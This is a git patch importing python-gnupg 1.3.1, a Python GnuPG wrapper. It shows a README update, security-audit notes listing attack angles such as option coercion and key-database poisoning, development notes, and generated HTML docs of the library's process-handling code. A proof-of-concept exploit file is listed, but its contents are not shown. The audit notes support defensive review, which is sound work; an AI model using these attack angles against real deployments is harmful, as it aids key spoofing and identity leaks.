From 4bd0fa843176a112c054929fbe6dd99f45d718a2 Mon Sep 17 00:00:00 2001 From: Kali Kaneko Date: Mon, 18 Aug 2014 12:52:50 -0500 Subject: Imported Upstream version 1.3.1 --- PKG-INFO | 2 +- README | 13 +- docs/NOTES-isec-audit.org | 21 + docs/NOTES-python-gnupg-development.org | 59 + docs/_build/doctrees/environment.pickle | Bin 0 -> 1439404 bytes docs/_build/doctrees/gnupg.doctree | Bin 0 -> 582816 bytes docs/_build/doctrees/index.doctree | Bin 0 -> 11034 bytes docs/_build/html/.buildinfo | 4 + docs/_build/html/_modules/gnupg.html | 148 + docs/_build/html/_modules/gnupg/_meta.html | 981 +++++ docs/_build/html/_modules/gnupg/_parsers.html | 1486 ++++++++ docs/_build/html/_modules/gnupg/_util.html | 718 ++++ docs/_build/html/_modules/index.html | 104 + docs/_build/html/_sources/gnupg.txt | 131 + docs/_build/html/_sources/index.txt | 44 + docs/_build/html/_static/DETAILS.html | 2677 +++++++++++++ docs/_build/html/_static/agogo.css | 337 ++ docs/_build/html/_static/ajax-loader.gif | Bin 0 -> 673 bytes docs/_build/html/_static/basic.css | 537 +++ docs/_build/html/_static/bgfooter.png | Bin 0 -> 434 bytes docs/_build/html/_static/bgtop.png | Bin 0 -> 430 bytes docs/_build/html/_static/comment-bright.png | Bin 0 -> 3500 bytes docs/_build/html/_static/comment-close.png | Bin 0 -> 3578 bytes docs/_build/html/_static/comment.png | Bin 0 -> 3445 bytes docs/_build/html/_static/doctools.js | 238 ++ docs/_build/html/_static/down-pressed.png | Bin 0 -> 368 bytes docs/_build/html/_static/down.png | Bin 0 -> 363 bytes docs/_build/html/_static/file.png | Bin 0 -> 392 bytes docs/_build/html/_static/jquery.js | 2 + docs/_build/html/_static/minus.png | Bin 0 -> 199 bytes docs/_build/html/_static/pgp-subkeys.html | 236 ++ docs/_build/html/_static/plus.png | Bin 0 -> 199 bytes docs/_build/html/_static/pygments.css | 69 + docs/_build/html/_static/searchtools.js | 622 +++ docs/_build/html/_static/underscore.js | 31 + docs/_build/html/_static/up-pressed.png | Bin 0 -> 372 bytes docs/_build/html/_static/up.png | Bin 0 -> 363 bytes docs/_build/html/_static/websupport.js | 808 ++++ docs/_build/html/genindex.html | 932 +++++ docs/_build/html/gnupg.html | 2721 ++++++++++++++ docs/_build/html/index.html | 147 + docs/_build/html/objects.inv | Bin 0 -> 1574 bytes docs/_build/html/py-modindex.html | 135 + docs/_build/html/search.html | 129 + docs/_build/html/searchindex.js | 1 + docs/_build/python-gnupg-docs.zip | Bin 0 -> 189773 bytes docs/_static/pgp-subkeys.html | 236 ++ docs/change-license-emails.txt~ | 437 +++ docs/conf.py | 2 +- docs/pip-install.log | 5008 +++++++++++++++++++++++++ docs/smartcard-idea.txt | 10 + docs/the-internals-of-a-gpgpgp-key | 631 ++++ docs/to-monkeysphere-list | 34 + docs/upstream-python-gnupg-POC-exploit.py | 120 + gnupg/_meta.py | 47 +- gnupg/_version.py | 4 +- setup.py | 4 +- 57 files changed, 19841 insertions(+), 25 deletions(-) create mode 100644 docs/NOTES-isec-audit.org create mode 100644 docs/NOTES-python-gnupg-development.org create mode 100644 docs/_build/doctrees/environment.pickle create mode 100644 docs/_build/doctrees/gnupg.doctree create mode 100644 docs/_build/doctrees/index.doctree create mode 100644 docs/_build/html/.buildinfo create mode 100644 docs/_build/html/_modules/gnupg.html create mode 100644 docs/_build/html/_modules/gnupg/_meta.html create mode 100644 docs/_build/html/_modules/gnupg/_parsers.html create mode 100644 docs/_build/html/_modules/gnupg/_util.html create mode 100644 docs/_build/html/_modules/index.html create mode 100644 docs/_build/html/_sources/gnupg.txt create mode 100644 docs/_build/html/_sources/index.txt create mode 100644 docs/_build/html/_static/DETAILS.html create mode 100644 docs/_build/html/_static/agogo.css create mode 100644 docs/_build/html/_static/ajax-loader.gif create mode 100644 docs/_build/html/_static/basic.css create mode 100644 docs/_build/html/_static/bgfooter.png create mode 100644 docs/_build/html/_static/bgtop.png create mode 100644 docs/_build/html/_static/comment-bright.png create mode 100644 docs/_build/html/_static/comment-close.png create mode 100644 docs/_build/html/_static/comment.png create mode 100644 docs/_build/html/_static/doctools.js create mode 100644 docs/_build/html/_static/down-pressed.png create mode 100644 docs/_build/html/_static/down.png create mode 100644 docs/_build/html/_static/file.png create mode 100644 docs/_build/html/_static/jquery.js create mode 100644 docs/_build/html/_static/minus.png create mode 100644 docs/_build/html/_static/pgp-subkeys.html create mode 100644 docs/_build/html/_static/plus.png create mode 100644 docs/_build/html/_static/pygments.css create mode 100644 docs/_build/html/_static/searchtools.js create mode 100644 docs/_build/html/_static/underscore.js create mode 100644 docs/_build/html/_static/up-pressed.png create mode 100644 docs/_build/html/_static/up.png create mode 100644 docs/_build/html/_static/websupport.js create mode 100644 docs/_build/html/genindex.html create mode 100644 docs/_build/html/gnupg.html create mode 100644 docs/_build/html/index.html create mode 100644 docs/_build/html/objects.inv create mode 100644 docs/_build/html/py-modindex.html create mode 100644 docs/_build/html/search.html create mode 100644 docs/_build/html/searchindex.js create mode 100644 docs/_build/python-gnupg-docs.zip create mode 100644 docs/_static/pgp-subkeys.html create mode 100644 docs/change-license-emails.txt~ create mode 100644 docs/pip-install.log create mode 100644 docs/smartcard-idea.txt create mode 100644 docs/the-internals-of-a-gpgpgp-key create mode 100644 docs/to-monkeysphere-list create mode 100644 docs/upstream-python-gnupg-POC-exploit.py diff --git a/PKG-INFO b/PKG-INFO index bf2840d..63c5f9b 100644 --- a/PKG-INFO +++ b/PKG-INFO @@ -1,6 +1,6 @@ Metadata-Version: 1.1 Name: gnupg -Version: 1.2.6-6-g6fa8b59 +Version: 1.3.1 Summary: A Python wrapper for GnuPG Home-page: https://github.com/isislovecruft/python-gnupg Author: Isis Agora Lovecruft diff --git a/README b/README index 11e0f78..9e07335 100644 --- a/README +++ b/README @@ -36,19 +36,18 @@ and import the module like so: The primary interface class you'll likely want to interact with is [```gnupg.GPG```](https://python-gnupg.readthedocs.org/en/latest/gnupg.html#gpg): ``` ->>> gpg = gnupg.GPG(gpgbinary='/usr/bin/gpg', -... gpghome='./keys', -... pubring='pubring.gpg', +>>> gpg = gnupg.GPG(binary='/usr/bin/gpg', +... homedir='./keys', +... keyring='pubring.gpg', ... secring='secring.gpg') ->>> batch_key_input = gpg.gen_key_input() +>>> batch_key_input = gpg.gen_key_input( +... key_type='RSA', +... key_length=4096) >>> print batch_key_input Key-Type: RSA Name-Email: isis@wintermute -Name-Comment: Generated by gnupg.py Key-Length: 4096 Name-Real: Autogenerated Key -%pubring /home/isis/code/python-gnupg/keys/pubring.gpg -%secring /home/isis/code/python-gnupg/keys/secring.gpg %commit >>> key = gpg.gen_key(batch_key_input) diff --git a/docs/NOTES-isec-audit.org b/docs/NOTES-isec-audit.org new file mode 100644 index 0000000..f1d729d --- /dev/null +++ b/docs/NOTES-isec-audit.org @@ -0,0 +1,21 @@ +-*- mode: org; -*- + +* python-gnupg + +** what should be done by 1 May 2013: +- [ ] packaging for pypi +- [ ] unittests +- [ ] leap_mx and soledad should be using python-gnupg + +** what the isec folks might want to look at: +*** options + are there any ways to coerce python-gnupg in strange/buggy ways though its + allowed options, or, in general, though the API it presents? +*** daemons + if any of the daemons controlled by, or connected to, leap_mx or soledad + can be leveraged in any way to execute an a attack using python-gnupg. +*** keyID collision / couchDB key database poisoning + is there a way to trick python-gnupg into using an incorrect key? +*** identity leaks + is there a way to analyse the mailserver, leapmx, or soledad, to gain info + about which key is being used at a particular time? diff --git a/docs/NOTES-python-gnupg-development.org b/docs/NOTES-python-gnupg-development.org new file mode 100644 index 0000000..3ea6b6b --- /dev/null +++ b/docs/NOTES-python-gnupg-development.org @@ -0,0 +1,59 @@ +-*- mode: org; epa-file-encrypt-to: ("isis@leap.se") -*- +#+TITLE: python-gnupg audit +#+AUTHOR: isis +#+EMAIL: isis@leap.se +#+DATE: 2013-02-01 Fri +#+DESCRIPTION: +#+KEYWORDS: +#+LANGUAGE: en +#+OPTIONS: H:3 num:t toc:t \n:nil @:t ::t |:t ^:t -:t f:t *:t <:t +#+OPTIONS: TeX:t LaTeX:t skip:nil d:nil todo:t pri:nil tags:not-in-toc +#+INFOJS_OPT: view:nil toc:2 ltoc:t mouse:underline buttons:0 path:http://orgmode.org/org-info.js +#+EXPORT_SELECT_TAGS: export +#+EXPORT_EXCLUDE_TAGS: noexport +#+LINK_UP: +#+LINK_HOME: +#+XSLT: + +* Development notes on patching python-gnupg + +** python-gnupg + +** Sphinx & documentation +*** Obtaining full .rst documentation from Sphinx + +Internally, Sphinx prepares and uses ReStructed Text to create the other +formats, but provides no functionality for obtaining it. To steal it from +Sphinx, we can patch the Sphinx source to print it to stdout and then pipe that +to a file. + +The patch for Sphinx is (from http://stackoverflow.com/a/2712413) changes +Sphinx's `sphinx.ext.autodoc.Documenter.add__line` function to: + +#+BEGIN_SRC python +def add_line(self, line, source, *lineno): + """Append one line of generated reST to the output.""" + print self.indent + line + self.directive.result.append(self.indent + line, source, *lineno))) +#+END_SRC + +* Resources + +** On the ctb=%d.02 bug +This bug can be triggered in several versions of GnuPG, and will result in a +message similar to: + +gpg: [don't know]: invalid packet (ctb=2d) +gpg: [don't know]: invalid packet (ctb=2d) +gpg: keydb_search failed: invalid packet +gpg: encrypted with RSA key, ID ******** +gpg: decryption failed: secret key not available + +The 'ctb=2d' means that GnuPG has detected an extra '-' (0x2d) character, +except that this bug occurs (seemingly) at random during batch operations when +there is no extra '-'. (Or, at least, other files generated with similar +parameters and functions do not cause the 'invalid packet' error message to +appear.) + +https://bugs.g10code.com/gnupg/issue1179 +http://bugs.g10code.com/gnupg/issue997 diff --git a/docs/_build/doctrees/environment.pickle b/docs/_build/doctrees/environment.pickle new file mode 100644 index 0000000..1c8a3c5 Binary files /dev/null and b/docs/_build/doctrees/environment.pickle differ diff --git a/docs/_build/doctrees/gnupg.doctree b/docs/_build/doctrees/gnupg.doctree new file mode 100644 index 0000000..37362fb Binary files /dev/null and b/docs/_build/doctrees/gnupg.doctree differ diff --git a/docs/_build/doctrees/index.doctree b/docs/_build/doctrees/index.doctree new file mode 100644 index 0000000..b64b3cd Binary files /dev/null and b/docs/_build/doctrees/index.doctree differ diff --git a/docs/_build/html/.buildinfo b/docs/_build/html/.buildinfo new file mode 100644 index 0000000..473365f --- /dev/null +++ b/docs/_build/html/.buildinfo @@ -0,0 +1,4 @@ +# Sphinx build info version 1 +# This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. +config: 3b17b4d3fc88986a51f33ba3cd0d93b5 +tags: 645f666f9bcd5a90fca523b33c5a78b7 diff --git a/docs/_build/html/_modules/gnupg.html b/docs/_build/html/_modules/gnupg.html new file mode 100644 index 0000000..24c2170 --- /dev/null +++ b/docs/_build/html/_modules/gnupg.html @@ -0,0 +1,148 @@ + + + + + + + + gnupg — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

Source code for gnupg

+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#
+# This file is part of python-gnupg, a Python interface to GnuPG.
+# Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35
+#           © 2013 Andrej B.
+#           © 2013 LEAP Encryption Access Project
+#           © 2008-2012 Vinay Sajip
+#           © 2005 Steve Traugott
+#           © 2004 A.M. Kuchling
+#
+# This program is free software: you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by the Free
+# Software Foundation, either version 3 of the License, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.
+
+from __future__ import absolute_import
+
+from . import gnupg
+from . import copyleft
+from . import _ansistrm
+from . import _logger
+from . import _meta
+from . import _parsers
+from . import _util
+from .gnupg import GPG
+from ._version import get_versions
+
+__version__ = get_versions()['version']
+__authors__ = copyleft.authors
+__license__ = copyleft.full_text
+__copyleft__ = copyleft.copyright
+
+## do not set __package__ = "gnupg", else we will end up with
+## gnupg.<*allofthethings*>
+__all__ = ["GPG", "_util", "_parsers", "_meta", "_logger"]
+
+## avoid the "from gnupg import gnupg" idiom
+del gnupg
+del absolute_import
+del copyleft
+del get_versions
+del _version
+
+ +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_meta.html b/docs/_build/html/_modules/gnupg/_meta.html new file mode 100644 index 0000000..23ca880 --- /dev/null +++ b/docs/_build/html/_modules/gnupg/_meta.html @@ -0,0 +1,981 @@ + + + + + + + + gnupg._meta — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

Source code for gnupg._meta

+# -*- coding: utf-8 -*-
+#
+# This file is part of python-gnupg, a Python interface to GnuPG.
+# Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35
+#           © 2013 Andrej B.
+#           © 2013 LEAP Encryption Access Project
+#           © 2008-2012 Vinay Sajip
+#           © 2005 Steve Traugott
+#           © 2004 A.M. Kuchling
+#
+# This program is free software: you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by the Free
+# Software Foundation, either version 3 of the License, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.
+
+'''Meta and base classes for hiding internal functions, and controlling
+attribute creation and handling.
+'''
+
+from __future__ import absolute_import
+
+import atexit
+import codecs
+import encodings
+## For AOS, the locale module will need to point to a wrapper around the
+## java.util.Locale class.
+## See https://code.patternsinthevoid.net/?p=android-locale-hack.git
+import locale
+import os
+import platform
+import psutil
+import shlex
+import subprocess
+import sys
+import threading
+
+from . import _parsers
+from . import _util
+
+from ._parsers import _check_preferences
+from ._parsers import _sanitise_list
+from ._util    import log
+
+
+
[docs]class GPGMeta(type): + """Metaclass for changing the :meth:GPG.__init__ initialiser. + + Detects running gpg-agent processes and the presence of a pinentry + program, and disables pinentry so that python-gnupg can write the + passphrase to the controlled GnuPG process without killing the agent. + + :attr _agent_proc: If a :program:`gpg-agent` process is currently running + for the effective userid, then **_agent_proc** will be + set to a ``psutil.Process`` for that process. + """ + +
[docs] def __new__(cls, name, bases, attrs): + """Construct the initialiser for GPG""" + log.debug("Metaclass __new__ constructor called for %r" % cls) + if cls._find_agent(): + ## call the normal GPG.__init__() initialiser: + attrs['init'] = cls.__init__ + attrs['_remove_agent'] = True + return super(GPGMeta, cls).__new__(cls, name, bases, attrs) +
+ @classmethod +
[docs] def _find_agent(cls): + """Discover if a gpg-agent process for the current euid is running. + + If there is a matching gpg-agent process, set a :class:`psutil.Process` + instance containing the gpg-agent process' information to + ``cls._agent_proc``. + + :returns: True if there exists a gpg-agent process running under the + same effective user ID as that of this program. Otherwise, + returns None. + """ + identity = psutil.Process(os.getpid()).uids + for proc in psutil.process_iter(): + if (proc.name == "gpg-agent") and proc.is_running: + log.debug("Found gpg-agent process with pid %d" % proc.pid) + if proc.uids == identity: + log.debug( + "Effective UIDs of this process and gpg-agent match") + setattr(cls, '_agent_proc', proc) + return True + +
+
[docs]class GPGBase(object): + """Base class for storing properties and controlling process initialisation. + + :const _result_map: A *dict* containing classes from + :mod:`~gnupg._parsers`, used for parsing results + obtained from GnuPG commands. + :const _decode_errors: How to handle encoding errors. + """ + __metaclass__ = GPGMeta + _decode_errors = 'strict' + _result_map = { 'crypt': _parsers.Crypt, + 'delete': _parsers.DeleteResult, + 'generate': _parsers.GenKey, + 'import': _parsers.ImportResult, + 'list': _parsers.ListKeys, + 'sign': _parsers.Sign, + 'verify': _parsers.Verify, + 'packets': _parsers.ListPackets } + +
[docs] def __init__(self, binary=None, home=None, keyring=None, secring=None, + use_agent=False, default_preference_list=None, + verbose=False, options=None): + """Create a ``GPGBase``. + + This class is used to set up properties for controlling the behaviour + of configuring various options for GnuPG, such as setting GnuPG's + **homedir** , and the paths to its **binary** and **keyring** . + + :const binary: (:obj:`str`) The full path to the GnuPG binary. + + :ivar homedir: (:class:`~gnupg._util.InheritableProperty`) The full + path to the current setting for the GnuPG + ``--homedir``. + + :ivar _generated_keys: (:class:`~gnupg._util.InheritableProperty`) + Controls setting the directory for storing any + keys which are generated with + :meth:`~gnupg.GPG.gen_key`. + + :ivar str keyring: The filename in **homedir** to use as the keyring + file for public keys. + :ivar str secring: The filename in **homedir** to use as the keyring + file for secret keys. + """ + self.binary = _util._find_binary(binary) + self.homedir = home if home else _util._conf + pub = _parsers._fix_unsafe(keyring) if keyring else 'pubring.gpg' + sec = _parsers._fix_unsafe(secring) if secring else 'secring.gpg' + self.keyring = os.path.join(self._homedir, pub) + self.secring = os.path.join(self._homedir, sec) + self.options = _parsers._sanitise(options) if options else None + + if default_preference_list: + self._prefs = _check_preferences(default_preference_list, 'all') + else: + self._prefs = 'SHA512 SHA384 SHA256 AES256 CAMELLIA256 TWOFISH' + self._prefs += ' AES192 ZLIB ZIP Uncompressed' + + encoding = locale.getpreferredencoding() + if encoding is None: # This happens on Jython! + encoding = sys.stdin.encoding + self._encoding = encoding.lower().replace('-', '_') + self._filesystemencoding = encodings.normalize_encoding( + sys.getfilesystemencoding().lower()) + + self._keyserver = 'hkp://wwwkeys.pgp.net' + self.__generated_keys = os.path.join(self.homedir, 'generated-keys') + + try: + assert self.binary, "Could not find binary %s" % binary + assert isinstance(verbose, (bool, str, int)), \ + "'verbose' must be boolean, string, or 0 <= n <= 9" + assert isinstance(use_agent, bool), "'use_agent' must be boolean" + if self.options is not None: + assert isinstance(self.options, str), "options not string" + except (AssertionError, AttributeError) as ae: + log.error("GPGBase.__init__(): %s" % str(ae)) + raise RuntimeError(str(ae)) + else: + if verbose is True: + # The caller wants logging, but we need a valid --debug-level + # for gpg. Default to "basic", and warn about the ambiguity. + # (garrettr) + verbose = "basic" + log.warning('GPG(verbose=True) is ambiguous, defaulting to "basic" logging') + self.verbose = verbose + self.use_agent = use_agent + + if hasattr(self, '_agent_proc') \ + and getattr(self, '_remove_agent', None) is True: + if hasattr(self, '__remove_path__'): + self.__remove_path__('pinentry') +
+
[docs] def __remove_path__(self, prog=None, at_exit=True): + """Remove the directories containing a program from the system's + ``$PATH``. If ``GPGBase.binary`` is in a directory being removed, it + is linked to :file:'./gpg' in the current directory. + + :param str prog: The program to remove from ``$PATH``. + :param bool at_exit: Add the program back into the ``$PATH`` when the + Python interpreter exits, and delete any symlinks + to ``GPGBase.binary`` which were created. + """ + #: A list of ``$PATH`` entries which were removed to disable pinentry. + self._removed_path_entries = [] + + log.debug("Attempting to remove %s from system PATH" % str(prog)) + if (prog is None) or (not isinstance(prog, str)): return + + try: + program = _util._which(prog)[0] + except (OSError, IOError, IndexError) as err: + log.err(str(err)) + log.err("Cannot find program '%s', not changing PATH." % prog) + return + + ## __remove_path__ cannot be an @classmethod in GPGMeta, because + ## the use_agent attribute must be set by the instance. + if not self.use_agent: + program_base = os.path.dirname(prog) + gnupg_base = os.path.dirname(self.binary) + + ## symlink our gpg binary into $PWD if the path we are removing is + ## the one which contains our gpg executable: + new_gpg_location = os.path.join(os.getcwd(), 'gpg') + if gnupg_base == program_base: + os.symlink(self.binary, new_gpg_location) + self.binary = new_gpg_location + + ## copy the original environment so that we can put it back later: + env_copy = os.environ ## this one should not be touched + path_copy = os.environ.pop('PATH') + log.debug("Created a copy of system PATH: %r" % path_copy) + assert not os.environ.has_key('PATH'), "OS env kept $PATH anyway!" + + @staticmethod + def remove_program_from_path(path, prog_base): + """Remove all directories which contain a program from PATH. + + :param str path: The contents of the system environment's + ``$PATH``. + + :param str prog_base: The directory portion of a program's + location, without the trailing slash, + and without the program name. For + example, ``prog_base='/usr/bin'``. + """ + paths = path.split(':') + for directory in paths: + if directory == prog_base: + log.debug("Found directory with target program: %s" + % directory) + path.remove(directory) + self._removed_path_entries.append(directory) + log.debug("Deleted all found instance of %s." % directory) + log.debug("PATH is now:%s%s" % (os.linesep, path)) + new_path = ':'.join([p for p in path]) + return new_path + + @staticmethod + def update_path(environment, path): + """Add paths to the string at ``os.environ['PATH']``. + + :param str environment: The environment mapping to update. + :param list path: A list of strings to update the PATH with. + """ + log.debug("Updating system path...") + os.environ = environment + new_path = ':'.join([p for p in path]) + old = '' + if 'PATH' in os.environ: + new_path = ':'.join([os.environ['PATH'], new_path]) + os.environ.update({'PATH': new_path}) + log.debug("System $PATH: %s" % os.environ['PATH']) + + modified_path = remove_program_from_path(path_copy, program_base) + update_path(env_copy, modified_path) + + ## register an _exithandler with the python interpreter: + atexit.register(update_path, env_copy, path_copy) + + def remove_symlinked_binary(symlink): + if os.path.islink(symlink): + os.unlink(symlink) + log.debug("Removed binary symlink '%s'" % symlink) + atexit.register(remove_symlinked_binary, new_gpg_location) +
+ @property + def default_preference_list(self): + """Get the default preference list.""" + return self._prefs + + @default_preference_list.setter + def default_preference_list(self, prefs): + """Set the default preference list. + + :param str prefs: A string containing the default preferences for + ciphers, digests, and compression algorithms. + """ + prefs = _check_preferences(prefs) + if prefs is not None: + self._prefs = prefs + + @default_preference_list.deleter +
[docs] def default_preference_list(self): + """Reset the default preference list to its original state. + + Note that "original state" does not mean the default preference + list for whichever version of GnuPG is being used. It means the + default preference list defined by :attr:`GPGBase._prefs`. + + Using BZIP2 is avoided due to not interacting well with some versions + of GnuPG>=2.0.0. + """ + self._prefs = 'SHA512 SHA384 SHA256 AES256 CAMELLIA256 TWOFISH ZLIB ZIP' +
+ @property + def keyserver(self): + """Get the current keyserver setting.""" + return self._keyserver + + @keyserver.setter + def keyserver(self, location): + """Set the default keyserver to use for sending and receiving keys. + + The ``location`` is sent to :func:`_parsers._check_keyserver` when + option are parsed in :meth:`gnupg.GPG._make_options`. + + :param str location: A string containing the default keyserver. This + should contain the desired keyserver protocol + which is supported by the keyserver, for example, + ``'hkps://keys.mayfirst.org'``. The default + keyserver is ``'hkp://wwwkeys.pgp.net'``. + """ + self._keyserver = location + + @keyserver.deleter +
[docs] def keyserver(self): + """Reset the keyserver to the default setting.""" + self._keyserver = 'hkp://wwwkeys.pgp.net' +
+
[docs] def _homedir_getter(self): + """Get the directory currently being used as GnuPG's homedir. + + If unspecified, use :file:`~/.config/python-gnupg/` + + :rtype: str + :returns: The absolute path to the current GnuPG homedir. + """ + return self._homedir +
+
[docs] def _homedir_setter(self, directory): + """Set the directory to use as GnuPG's homedir. + + If unspecified, use $HOME/.config/python-gnupg. If specified, ensure + that the ``directory`` does not contain various shell escape + characters. If ``directory`` is not found, it will be automatically + created. Lastly, the ``direcory`` will be checked that the EUID has + read and write permissions for it. + + :param str directory: A relative or absolute path to the directory to + use for storing/accessing GnuPG's files, including + keyrings and the trustdb. + :raises: :exc:`~exceptions.RuntimeError` if unable to find a suitable + directory to use. + """ + if not directory: + log.debug("GPGBase._homedir_setter(): Using default homedir: '%s'" + % _util._conf) + directory = _util._conf + + hd = _parsers._fix_unsafe(directory) + log.debug("GPGBase._homedir_setter(): got directory '%s'" % hd) + + if hd: + log.debug("GPGBase._homedir_setter(): Check existence of '%s'" % hd) + _util._create_if_necessary(hd) + + try: + log.debug("GPGBase._homedir_setter(): checking permissions") + assert _util._has_readwrite(hd), \ + "Homedir '%s' needs read/write permissions" % hd + except AssertionError as ae: + msg = ("Unable to set '%s' as GnuPG homedir" % directory) + log.debug("GPGBase.homedir.setter(): %s" % msg) + log.debug(str(ae)) + raise RuntimeError(str(ae)) + else: + log.info("Setting homedir to '%s'" % hd) + self._homedir = hd +
+ homedir = _util.InheritableProperty(_homedir_getter, _homedir_setter) + +
[docs] def _generated_keys_getter(self): + """Get the ``homedir`` subdirectory for storing generated keys. + + :rtype: str + :returns: The absolute path to the current GnuPG homedir. + """ + return self.__generated_keys +
+
[docs] def _generated_keys_setter(self, directory): + """Set the directory for storing generated keys. + + If unspecified, use + :meth:`~gnupg._meta.GPGBase.homedir`/generated-keys. If specified, + ensure that the ``directory`` does not contain various shell escape + characters. If ``directory`` isn't found, it will be automatically + created. Lastly, the ``directory`` will be checked to ensure that the + current EUID has read and write permissions for it. + + :param str directory: A relative or absolute path to the directory to + use for storing/accessing GnuPG's files, including keyrings and + the trustdb. + :raises: :exc:`~exceptions.RuntimeError` if unable to find a suitable + directory to use. + """ + if not directory: + directory = os.path.join(self.homedir, 'generated-keys') + log.debug("GPGBase._generated_keys_setter(): Using '%s'" + % directory) + + hd = _parsers._fix_unsafe(directory) + log.debug("GPGBase._generated_keys_setter(): got directory '%s'" % hd) + + if hd: + log.debug("GPGBase._generated_keys_setter(): Check exists '%s'" + % hd) + _util._create_if_necessary(hd) + + try: + log.debug("GPGBase._generated_keys_setter(): check permissions") + assert _util._has_readwrite(hd), \ + "Keys dir '%s' needs read/write permissions" % hd + except AssertionError as ae: + msg = ("Unable to set '%s' as generated keys dir" % directory) + log.debug("GPGBase._generated_keys_setter(): %s" % msg) + log.debug(str(ae)) + raise RuntimeError(str(ae)) + else: + log.info("Setting homedir to '%s'" % hd) + self.__generated_keys = hd +
+ _generated_keys = _util.InheritableProperty(_generated_keys_getter, + _generated_keys_setter) + +
[docs] def _make_args(self, args, passphrase=False): + """Make a list of command line elements for GPG. + + The value of ``args`` will be appended only if it passes the checks in + :func:`gnupg._parsers._sanitise`. The ``passphrase`` argument needs to + be True if a passphrase will be sent to GnuPG, else False. + + :param list args: A list of strings of options and flags to pass to + ``GPG.binary``. This is input safe, meaning that + these values go through strict checks (see + ``parsers._sanitise_list``) before being passed to to + the input file descriptor for the GnuPG process. + Each string should be given exactly as it would be on + the commandline interface to GnuPG, + e.g. ["--cipher-algo AES256", "--default-key + A3ADB67A2CDB8B35"]. + + :param bool passphrase: If True, the passphrase will be sent to the + stdin file descriptor for the attached GnuPG + process. + """ + ## see TODO file, tag :io:makeargs: + cmd = [self.binary, + '--no-options --no-emit-version --no-tty --status-fd 2'] + + if self.homedir: cmd.append('--homedir "%s"' % self.homedir) + + if self.keyring: + cmd.append('--no-default-keyring --keyring %s' % self.keyring) + if self.secring: + cmd.append('--secret-keyring %s' % self.secring) + + if passphrase: cmd.append('--batch --passphrase-fd 0') + + if self.use_agent: cmd.append('--use-agent') + else: cmd.append('--no-use-agent') + + if self.options: + [cmd.append(opt) for opt in iter(_sanitise_list(self.options))] + if args: + [cmd.append(arg) for arg in iter(_sanitise_list(args))] + + if self.verbose: + cmd.append('--debug-all') + if ((isinstance(self.verbose, str) and + self.verbose in ['basic', 'advanced', 'expert', 'guru']) + or (isinstance(self.verbose, int) and (1<=self.verbose<=9))): + cmd.append('--debug-level %s' % self.verbose) + + return cmd +
+
[docs] def _open_subprocess(self, args=None, passphrase=False): + """Open a pipe to a GPG subprocess and return the file objects for + communicating with it. + + :param list args: A list of strings of options and flags to pass to + ``GPG.binary``. This is input safe, meaning that + these values go through strict checks (see + ``parsers._sanitise_list``) before being passed to to + the input file descriptor for the GnuPG process. + Each string should be given exactly as it would be on + the commandline interface to GnuPG, + e.g. ["--cipher-algo AES256", "--default-key + A3ADB67A2CDB8B35"]. + + :param bool passphrase: If True, the passphrase will be sent to the + stdin file descriptor for the attached GnuPG + process. + """ + ## see http://docs.python.org/2/library/subprocess.html#converting-an\ + ## -argument-sequence-to-a-string-on-windows + cmd = shlex.split(' '.join(self._make_args(args, passphrase))) + log.debug("Sending command to GnuPG process:%s%s" % (os.linesep, cmd)) + + if platform.system() == "Windows": + # TODO figure out what the hell is going on there. + expand_shell = True + else: + expand_shell = False + + return subprocess.Popen(cmd, shell=expand_shell, stdin=subprocess.PIPE, + stdout=subprocess.PIPE, stderr=subprocess.PIPE, + env={'LANGUAGE': 'en'}) +
+
[docs] def _read_response(self, stream, result): + """Reads all the stderr output from GPG, taking notice only of lines + that begin with the magic [GNUPG:] prefix. + + Calls methods on the response object for each valid token found, with + the arg being the remainder of the status line. + + :param stream: A byte-stream, file handle, or a + :data:`subprocess.PIPE` for parsing the status codes + from the GnuPG process. + + :param result: The result parser class from :mod:`~gnupg._parsers` ― + the ``handle_status()`` method of that class will be + called in order to parse the output of ``stream``. + """ + lines = [] + while True: + line = stream.readline() + if len(line) == 0: + break + lines.append(line) + line = line.rstrip() + + if line.startswith('[GNUPG:]'): + line = _util._deprefix(line, '[GNUPG:] ', log.status) + keyword, value = _util._separate_keyword(line) + result._handle_status(keyword, value) + elif line.startswith('gpg:'): + line = _util._deprefix(line, 'gpg: ') + keyword, value = _util._separate_keyword(line) + + # Log gpg's userland messages at our own levels: + if keyword.upper().startswith("WARNING"): + log.warn("%s" % value) + elif keyword.upper().startswith("FATAL"): + log.critical("%s" % value) + # Handle the gpg2 error where a missing trustdb.gpg is, + # for some stupid reason, considered fatal: + if value.find("trustdb.gpg") and value.find("No such file"): + result._handle_status('NEED_TRUSTDB', '') + else: + if self.verbose: + log.info("%s" % line) + else: + log.debug("%s" % line) + result.stderr = ''.join(lines) +
+
[docs] def _read_data(self, stream, result): + """Incrementally read from ``stream`` and store read data. + + All data gathered from calling ``stream.read()`` will be concatenated + and stored as ``result.data``. + + :param stream: An open file-like object to read() from. + :param result: An instance of one of the :ref:`result parsing classes + <parsers>` from :const:`~gnupg._meta.GPGBase._result_map`. + """ + chunks = [] + log.debug("Reading data from stream %r..." % stream.__repr__()) + + while True: + data = stream.read(1024) + if len(data) == 0: + break + chunks.append(data) + log.debug("Read %4d bytes" % len(data)) + + # Join using b'' or '', as appropriate + result.data = type(data)().join(chunks) + log.debug("Finishing reading from stream %r..." % stream.__repr__()) + log.debug("Read %4d bytes total" % len(result.data)) +
+
